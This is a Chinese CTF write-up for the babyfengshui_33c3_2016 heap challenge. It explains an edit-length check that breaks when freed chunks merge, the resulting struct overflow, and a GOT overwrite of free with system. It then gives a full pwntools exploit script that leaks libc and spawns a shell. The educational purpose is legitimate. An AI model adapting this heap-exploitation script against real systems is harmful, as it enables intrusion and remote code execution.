前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Heap-babyfengshui_33c3_2016

Heap-babyfengshui_33c3_2016

作者头像
偏有宸机
发布2021-04-19 16:25:37
6550
发布2021-04-19 16:25:37
举报
文章被收录于专栏:宸机笔记宸机笔记

程序分析

checksec后可以看到relro保护没开,可以劫持函数got表

ida分析程序逻辑,标准的增删改查功能

而漏洞点就出现在addedit函数中

在add函数中,是用于创建一个包含着nametext的user结构体,在创建时name由用户控制,而text却是统一的0x80大小。

而重点则是在edit函数中,首先是让用户可以随意输入text的大小,但是该大小却受if ( (v3 + **(&ptr + a1)) >= *(&ptr + a1) - 4 )的影响也就是超出存储在之前结构体中text的大小时则会退出。

利用思路

但由于是*(&ptr+a1)-4是靠偏移来确定大小的,所以也就只有在name堆块与text堆块在物理地址相邻时才有作用,因此我们可以通过delete函数删除一个user便可以使程序连续free掉两个堆块,从而使两个0x88的堆块合并成为一个0x110的堆块

进而我们再次使用add添加数据的时候,第一次输入的name设置大小为0x100就可以使 name与text堆块物理不相邻,这样一来我们的text字段便可输入任意大小的数据

接下来就可以对能够造成溢出的name堆块填充大量的数据覆盖到下一个user的name字段中,来控制下一个user中的text地址指向

最后便可以控制该text指向某个函数的got表地址,即可劫持函数的got表指向system函数。

EXP

代码语言:javascript
复制
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
#      - RemPro()
#           - elf_addr
#           - libc_addr
#           - enable_Onegadgets
#      - exp()

import os
import sys
import subprocess
from pwn import *
from one_gadget import generate_one_gadget 
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
context.log_level = "debug"

### 远程本地连接
def RemPro(ip='',port=''):
    global sh,elf,libc,one_ggs
    elf_addr = "./babyfengshui_33c3_2016"                                   # 本地ELF
    libc_addr = "/lib/i386-linux-gnu/libc.so.6"       # Libc文件
    pro_libc = "/home/da1sy/DA1SY-Win/CTF/libc/16.04/32/libc.so.6"
    if len(sys.argv) > 2 :
        sh = remote(sys.argv[1],sys.argv[2])
        try:
            libc = ELF(pro_libc)
            libc_addr = pro_libc
        except:
            log.info("No set Remote_libc...")
            libc = ELF(libc_addr)
    else:
        libc = ELF(libc_addr)
        try:
            sh = remote(ip,port)
            libc = ELF(pro_libc)
            libc_addr = pro_libc
        except:
            sh = process(elf_addr)
    # one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
    one_ggs = one_gadget(libc_addr)
    elf = ELF(elf_addr)
    return 1

### 调试用
def debug(cmd=""):
    if len(sys.argv) <= 2:
        log.progress("Loading Debug....")
        gdb.attach(sh,cmd)
### Shell_code
def shell_code(fw):
    if fw == 32:
        return asm(shellcraft.sh())
    elif fw == 64:
        return asm(shellcraft.amd64.linux.sh())
### One_Gadget
def one_gadget(filename):
    log.progress("Leak One_Gadgets...")
    return map(int, subprocess.check_output(['one_gadget', '--raw','-f', filename]).split(' '))
    #one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():
    def add(size,name,length,text):
        sh.recvuntil("Action: ")
        sh.sendline("0")
        sh.recvuntil("tion: ")
        sh.sendline(str(size))
        sh.recvuntil("name: ")
        sh.sendline(str(name))
        sh.recvuntil("length: ")
        sh.sendline(str(length))
        sh.recvuntil("text: ")
        sh.sendline(str(text))
    def dele(idx):
        sh.recvuntil("Action: ")
        sh.sendline("1")
        sh.recvuntil("index: ")
        sh.sendline(str(idx))
    def show(idx):
        sh.recvuntil("Action: ")
        sh.sendline("2")
        sh.recvuntil("index: ")
        sh.sendline(str(idx))
    def edit(idx,length,text):
        sh.recvuntil("Action: ")
        sh.sendline("3")
        sh.recvuntil("index: ")
        sh.sendline(str(idx))
        sh.recvuntil("length: ")
        sh.sendline(str(length))
        sh.recvuntil("text: ")
        sh.sendline(str(text))

    add(0x80,"A",0x80,"aaaa")#idx 0
    add(0x80,"B",0x80,"bbbb")#idx 1
    add(0x8,"C",0x8,"/bin/sh\x00")#idx 2
    # add(0x80,"D",0x80,"dddd")#idx 3
    # debug()

    dele(0)
    free_got = elf.got["free"]
    log.info("free_got => 0x%x",free_got)
    # add(0x100,"D",0x200,"dddd")
    add(0x100,"D",0x200,"d"*0x198+p32(free_got))
    show(1)
    sh.recvuntil("description: ")

    free_addr = u32(sh.recv(4))
    success("free_addr => 0x%x",free_addr)
    libc_base = free_addr - libc.sym["free"]
    # one_gg = one_ggs[1]+libc_base
    sys_addr = libc_base + libc.sym["system"]
    success("libc_base => 0x%x",libc_base)
    success("sys_addr => 0x%x",sys_addr)
    edit(1,8,p32(sys_addr))
    dele(2)

    # debug()

    return sh
    
def exp_2():
    print "this is exp_2"

    
if __name__=="__main__":
    RemPro()
    if len(sys.argv) > 3 :
        eval(sys.argv[3])()
    elif (len(sys.argv)>1 and len(sys.argv)<3):
        eval(sys.argv[1])()
    else:
        exp()
    sh.interactive()
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-04-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 程序分析
  • 利用思路
  • EXP
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档